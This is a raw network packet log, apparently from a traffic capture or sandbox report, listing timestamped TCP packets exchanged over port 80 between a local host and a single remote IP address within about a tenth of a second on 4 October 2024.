Oct 4, 2024 09:52:35.417182922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417196989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417215109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417227030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417253017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417258978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417287111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417299986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417318106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417330980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417350054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417378902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417382002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417397022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417414904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417418003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417448044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417457104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417480946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417496920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417514086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417524099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417545080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417558908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417577028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417588949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417608976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417619944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417642117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417654991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417673111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417686939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417706013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417721033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417738914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417751074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417771101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417783022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417803049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417813063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417834997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417846918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417869091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417881012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417901039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417917013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417932987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417943954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417967081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417979956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417999029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418014050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418034077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418045044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418076038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418122053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418149948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418159962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418180943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418193102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418212891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418222904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418241024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418257952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418272018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418292046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418303967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418332100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418335915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418355942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418369055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418371916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418401003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418414116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418432951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418446064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418464899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418478966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418498993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418525934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418529987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418550968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418561935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418586969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418592930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418606043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418627024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418657064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418658972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418673992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418692112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418699980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418737888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418867111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418916941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418916941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418950081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418963909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.418982029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.418992043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419013977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419045925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419078112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419110060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419138908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419138908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419142962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419173956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419178963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419202089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419224024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419236898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419255972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419269085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419289112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419301033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419321060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419332027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419353962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419374943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419400930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419419050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419419050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419435024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419442892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419449091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419464111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419466019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419480085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.419487000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.419526100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503520966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503591061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503639936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503643990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503662109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503679991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503696918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503711939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503727913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503746033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503757000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503791094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503798008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503833055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503851891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503865957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503884077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503900051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503904104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503931999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503942966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503964901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.503974915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.503998041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504007101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504029989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504039049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504062891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504072905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504096985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504106045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504139900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504189968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504223108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504237890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504256964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504270077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504288912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504301071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504336119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504339933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504371881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504386902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504405022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504420996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504437923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504460096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504471064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504492044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504513979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504515886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504561901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504738092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504770041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504789114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504801035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504827023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504833937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504851103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504868031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504870892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504899025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504910946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504933119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504941940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504965067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.504976034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.504998922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505007029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505033016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505048990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505075932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505083084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505115032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505125046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505147934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505170107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505181074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505201101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505213976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505223036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505245924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505256891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505279064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505289078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505311966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505321980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505347013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505356073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505379915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505390882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505412102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505422115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505445004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505453110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505476952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505489111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505507946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505521059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505541086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505549908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505569935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505585909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505600929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505609035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505635023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505647898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505666971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505676985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505701065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505709887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505742073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505913973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505947113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505959988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.505979061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.505990982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506011963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506021023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506051064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506052971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506083012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506093025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506114960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506125927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506143093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506155968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506175041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506186962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506206989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506217957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506238937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506249905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506270885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506282091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506302118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506315947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506334066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506344080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506366968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506386042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506398916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506417990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506431103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506438017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506464005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506475925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506496906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506506920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506541014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506730080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506762028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506773949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506793976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506803989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506825924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506839037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506860018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506870985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506891966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506903887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506922960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506936073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506954908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506964922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.506987095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.506999016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507018089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507029057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507050037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507060051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507081032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507101059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507113934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507133007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507144928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507153034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507178068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507188082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507209063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507219076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507241964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507251024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507277012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507285118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507320881 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507812977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507848024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507873058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507880926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507886887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507914066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507930040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507946014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507958889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.507977962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.507991076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508009911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508021116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508042097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508053064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508074045 CEST	80	49745	141.98.233.156	192.168.2.4
